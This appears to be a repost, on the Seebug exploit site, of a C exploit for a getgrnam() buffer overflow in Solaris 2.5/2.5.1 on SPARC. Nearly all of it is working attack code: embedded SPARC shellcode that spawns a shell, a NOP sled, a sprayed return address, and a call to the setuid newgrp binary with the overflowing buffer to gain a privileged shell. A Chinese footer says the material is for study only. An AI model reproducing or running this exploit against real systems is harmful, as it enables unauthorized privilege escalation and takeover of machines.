#include <stdio.h> #include <sys/types.h> /* getgrnam() function overflow. works against Solaris 2.5/2.5.1 (SPARC) default offset should work. Pablo Sor, Buenos Aires, Argentina. psor@afip.gov.ar */ u_char shell[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main() { long *p; long addr; char buf[8300]; int i; addr = get_sp()-8096; printf("Jumping to address %p\n",addr); p = (long *) buf; for (i=0;i<2050;++i) *(p++) = 0xa61cc013; for (i=0;i<strlen(shell);++i) buf[104+i] = shell[i]; p = (long *) &buf[8160]; for (i=0;i<30;++i) *(p++) = addr; buf[8280]=0; execl("/usr/bin/newgrp","newgrp",buf,(char *)0); }
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论